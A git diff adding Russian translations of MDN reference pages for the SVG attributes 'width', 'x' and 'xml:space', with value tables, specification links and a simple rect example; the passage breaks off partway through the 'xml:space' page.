+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feComponentTransfer">feComponentTransfer</h2>
+
+<p>Для {{SVGElement('feComponentTransfer')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feComposite">feComposite</h2>
+
+<p>Для {{SVGElement('feComposite')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feConvolveMatrix">feConvolveMatrix</h2>
+
+<p>Для {{SVGElement('feConvolveMatrix')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feDiffuseLighting">feDiffuseLighting</h2>
+
+<p>Для {{SVGElement('feDiffuseLighting')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feDisplacementMap">feDisplacementMap</h2>
+
+<p>Для {{SVGElement('feDisplacementMap')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feDropShadow">feDropShadow</h2>
+
+<p>Для {{SVGElement('feDropShadow')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feFlood">feFlood</h2>
+
+<p>Для {{SVGElement('feFlood')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feGaussianBlur">feGaussianBlur</h2>
+
+<p>Для {{SVGElement('feGaussianBlur')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feImage">feImage</h2>
+
+<p>Для {{SVGElement('feImage')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feMerge">feMerge</h2>
+
+<p>Для {{SVGElement('feMerge')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feMorphology">feMorphology</h2>
+
+<p>Для {{SVGElement('feMorphology')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feOffset">feOffset</h2>
+
+<p>Для {{SVGElement('feOffset')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feSpecularLighting">feSpecularLighting</h2>
+
+<p>Для {{SVGElement('feSpecularLighting')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feTile">feTile</h2>
+
+<p>Для {{SVGElement('feTile')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="feTurbulence">feTurbulence</h2>
+
+<p>Для {{SVGElement('feTurbulence')}}, <code>width</code> определяет горизонтальный размер для отображения области примитивов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>100%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="filter">filter</h2>
+
+<p>Для {{SVGElement('filter')}}, <code>width</code> определяет горизонтальный размер для отображения области фильтров.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>120%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="foreignObject">foreignObject</h2>
+
+<p>Для {{SVGElement('foreignObject')}}, <code>width</code> определяет горизонтальный размер для отображения области ссылочных документов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>auto</code> | <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>auto</code> (рассматривается как <code>0</code>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание:</strong> Начиная с  SVG2, <code>width</code> это геометрическое свойство, что означает, что этот атрибут может, также, быть использован как свойство   CSS для <code>&lt;foreignObject&gt;</code>.</p>
+
+<h2 id="image">image</h2>
+
+<p>Для {{SVGElement('image')}}, <code>width</code> определяет горизонтальный размер для изображения.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>auto</code> | <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>auto</code> (рассматривается как ширина изображения)</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание:</strong> Начиная с  SVG2, <code>width</code> это геометрическое свойство, что означает, что этот атрибут может, также, быть использован как свойство   CSS для изображений.</p>
+
+<h2 id="mask">mask</h2>
+
+<p>Для {{SVGElement('mask')}}, <code>width</code> определяет горизонтальный размер области эффекта. Точный эффект этого атрибута зависит от атрибута {{SVGAttr('maskUnits')}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>120%</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="pattern">pattern</h2>
+
+<p>Для {{SVGElement('pattern')}}, <code>width</code> определяет горизонтальный размер мастящегося паттерна. Точный эффект этого атрибута зависит от атрибутов {{SVGAttr('patternUnits')}} и {{SVGAttr('patternTransform')}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значание</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="rect">rect</h2>
+
+<p>Для {{SVGElement('rect')}}, <code>width</code> определяет горизонтальный размер прямоугольника.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>auto</code> | <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>auto</code> (пассматривается как <code>0</code>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание:</strong> Начиная с  SVG2, <code>width</code> это геометрическое свойство, что означает, что этот атрибут может, также, быть использован как свойство   CSS для прямоугольника.</p>
+
+<h2 id="svg">svg</h2>
+
+<p>Для {{SVGElement('svg')}}, <code>width</code> определяет горизонтальный размер отображаемой области вьюпорта SVG.</p>
+
+<p class="note"><strong>Примечание:</strong> В HTML документе, если оба атрибута {{SVGAttr('viewBox')}} и <code>width</code> опущены, <a href="https://svgwg.org/specs/integration/#svg-css-sizing">svg-элемент будет отображаться с шириной <code>300px</code></a></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>auto</code> | <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>auto</code> (рассматривается как <code>100%</code>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание:</strong> Начиная с  SVG2, <code>width</code> это геометрическое свойство, что означает, что этот атрибут может, также, быть использован как свойство   CSS для <code>&lt;svg&gt;</code>.</p>
+
+<h2 id="use">use</h2>
+
+<p>Для {{SVGElement('use')}}, <code>width</code> определяет горизонтальный размер для ссылочного элемента.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><code>auto</code> | <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> | <strong><a href="/docs/Web/SVG/Content_type#Percentage">&lt;percentage&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">По умолчанию</th>
+   <td><code>auto</code> (рассматривается как <code>0</code>)</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Да</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Примечание:</strong> Начиная с  SVG2, <code>width</code> это геометрическое свойство, что означает, что этот атрибут может, также, быть использован как свойство   CSS для использоавнных элементов.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментаий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#element-attrdef-filter-width', 'width') }}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Определение для<code> &lt;filter&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#element-attrdef-filter-primitive-width', 'width') }}</td>
+   <td>{{Spec2('Filters 1.0')}}</td>
+   <td>Определение для фильтр-примитивов</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Masks", "#element-attrdef-mask-width", 'width')}}</td>
+   <td>{{Spec2("CSS Masks")}}</td>
+   <td>Определение для <code>&lt;mask&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "geometry.html#Sizing", "width")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Определено как геометрическое свойство</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "pservers.html#PatternElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Определение для <code>&lt;pattern&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "extend.html#ForeignObjectElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;foreignObject&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "pservers.html#PatternElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;pattern&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "struct.html#ImageElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;image&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "struct.html#SVGElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;svg&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "struct.html#UseElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;use&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#FilterElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;filter&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "filters.html#FilterPrimitiveWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для  фильтр-примитивов</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "masking.html#MaskElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;mask&gt;</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#RectElementWidthAttribute", "width")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Первое определение для <code>&lt;rect&gt;</code></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/svg/attribute/x/index.html b/files/ru/web/svg/attribute/x/index.html
new file mode 100644
index 0000000000..d5b6a83a6a
--- /dev/null
+++ b/files/ru/web/svg/attribute/x/index.html
@@ -0,0 +1,86 @@
+---
+title: x
+slug: Web/SVG/Attribute/x
+tags:
+  - SVG
+  - SVG атрибуты
+translation_of: Web/SVG/Attribute/x
+---
+<p>« <a href="/ru/docs/Web/SVG/Attribute" title="Справочник SVG атрибутов">Справочник SVG атрибутов</a></p>
+
+<p>Этот атрибут указывает координату оси <strong><code>x</code></strong> в контексте системы координат. Точный эффект этого атрибута зависит от каждого элемента. В основном атрибут работает по оси x от верхнего левого угла прямоугольной области(см. документацию каждого отдельного элемента). Его синтаксис такой же, как и для <a href="https://www.w3.org/TR/SVG11/types.html#DataTypeLength"><strong><code>&lt;length&gt;</code></strong>.</a></p>
+
+<p>Если атрибут <strong><code>x</code></strong> явно не указан, то эффект будет таким, как если бы значение атрибута равнялось бы <strong>0</strong>, за исключением элементов {{SVGElement ("filter")}} и {{SVGElement ("mask")}}, где значение по умолчанию равно <strong>-10%</strong>.</p>
+
+<h2 id="Контекст_использования">Контекст использования</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Категории</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Значение</th>
+   <td><a href="/ru/SVG/Content_type#Coordinate" title="https://developer.mozilla.org/ru/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Анимируемый</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Нормативные документы (en)</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/text.html#AltGlyphElementXAttribute" title="http://www.w3.org/TR/SVG/text.html#AltGlyphElementXAttribute">SVG 1.1 (2nd Edition): altGlyph element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/interact.html#CursorElementXAttribute" title="http://www.w3.org/TR/SVG/interact.html#CursorElementXAttribute">SVG 1.1 (2nd Edition): cursor element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#fePointLightXAttribute" title="http://www.w3.org/TR/SVG/filters.html#fePointLightXAttribute">SVG 1.1 (2nd Edition): fePointLight element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#feSpotLightXAttribute" title="http://www.w3.org/TR/SVG/filters.html#feSpotLightXAttribute">SVG 1.1 (2nd Edition): feSpotLight element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#FilterElementXAttribute" title="http://www.w3.org/TR/SVG/filters.html#FilterElementXAttribute">SVG 1.1 (2nd Edition): filter element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/extend.html#ForeignObjectElementXAttribute" title="http://www.w3.org/TR/SVG/extend.html#ForeignObjectElementXAttribute">SVG 1.1 (2nd Edition): foreignObject element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/text.html#GlyphRefElementXAttribute" title="http://www.w3.org/TR/SVG/text.html#GlyphRefElementXAttribute">SVG 1.1 (2nd Edition): glyphRef element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#ImageElementXAttribute" title="http://www.w3.org/TR/SVG/struct.html#ImageElementXAttribute">SVG 1.1 (2nd Edition): image element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#PatternElementXAttribute" title="http://www.w3.org/TR/SVG/pservers.html#PatternElementXAttribute">SVG 1.1 (2nd Edition): pattern element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#RectElementXAttribute" title="http://www.w3.org/TR/SVG/shapes.html#RectElementXAttribute">SVG 1.1 (2nd Edition): rect element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#SVGElementXAttribute" title="http://www.w3.org/TR/SVG/struct.html#SVGElementXAttribute">SVG 1.1 (2nd Edition): svg element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/text.html#TextElementXAttribute" title="http://www.w3.org/TR/SVG/text.html#TextElementXAttribute">SVG 1.1 (2nd Edition): text element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/struct.html#UseElementXAttribute" title="http://www.w3.org/TR/SVG/struct.html#UseElementXAttribute">SVG 1.1 (2nd Edition): use element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/filters.html#FilterPrimitiveXAttribute" title="http://www.w3.org/TR/SVG/filters.html#FilterPrimitiveXAttribute">SVG 1.1 (2nd Edition): Filter primitive</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/masking.html#MaskElementXAttribute" title="http://www.w3.org/TR/SVG/masking.html#MaskElementXAttribute">SVG 1.1 (2nd Edition): mask element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/text.html#TSpanElementXAttribute" title="http://www.w3.org/TR/SVG/text.html#TSpanElementXAttribute">SVG 1.1 (2nd Edition): tspan element</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{page("/ru/SVG/Content_type","coordinate")}}</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: xml line-numbers  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 120 120<span class="punctuation token">"</span></span>
+     <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>rect</span> <span class="attr-name token">x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">y</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>10<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p>Следующие элементы могут использовать атрибут <code>x</code>.</p>
+
+<ul>
+ <li><code><a href="/en/SVG/Element#FilterPrimitive" title="en/SVG/Element#FilterPrimitive">Filter primitive elements</a> »</code></li>
+ <li><code>{{SVGElement("altGlyph")}}</code></li>
+ <li><code>{{SVGElement("fePointLight")}}</code></li>
+ <li><code>{{SVGElement("feSpotLight")}}</code></li>
+ <li><code>{{SVGElement("filter")}}</code></li>
+ <li><code>{{SVGElement("foreignObject")}}</code></li>
+ <li><code>{{SVGElement("glyphRef")}}</code></li>
+ <li><code>{{SVGElement("image")}}</code></li>
+ <li><code>{{SVGElement("pattern")}}</code></li>
+ <li><code>{{SVGElement("rect")}}</code></li>
+ <li><code>{{SVGElement("svg")}}</code></li>
+ <li><code>{{SVGElement("text")}}</code></li>
+ <li><code>{{SVGElement("use")}}</code></li>
+ <li><code>{{SVGElement("mask")}}</code></li>
+ <li><code>{{SVGElement("tref")}}</code></li>
+ <li><code>{{SVGElement("tspan")}}</code></li>
+</ul>
diff --git a/files/ru/web/svg/attribute/xml_colon_space/index.html b/files/ru/web/svg/attribute/xml_colon_space/index.html
new file mode 100644
index 0000000000..0b921d2e5a
--- /dev/null
+++ b/files/ru/web/svg/attribute/xml_colon_space/index.html
@@ -0,0 +1,50 @@
+---
+title: 'xml:space'
+slug: 'Web/SVG/Attribute/xml:space'
+translation_of: 'Web/SVG/Attribute/xml:space'
+---
+<div>{{deprecated_header("SVG2")}}</div>
+
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>SVG supports the standard XML attribute <code>xml:space</code> to specify the handling of white space characters within a given {{ SVGElement("text") }} element's character data. Note that any child element of a {{ SVGElement("text") }} element may also have an <code>xml:space</code> attribute which will apply to that child element's text content. Note that this attribute influences the way a browser should parse the xml content and therefore will change the way the DOM is built. It means that any change made to the value of this attribute through the DOM API may have no effect.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Instead of using the <code>xml:space</code> attribute you should use the {{cssxref("white-space")}} CSS property.</p>
+</div>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td><em>None</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td><code><strong>default</strong></code> | <code>preserve</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#WhiteSpace" title="http://www.w3.org/TR/SVG11/text.html#WhiteSpace">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>default</dt>
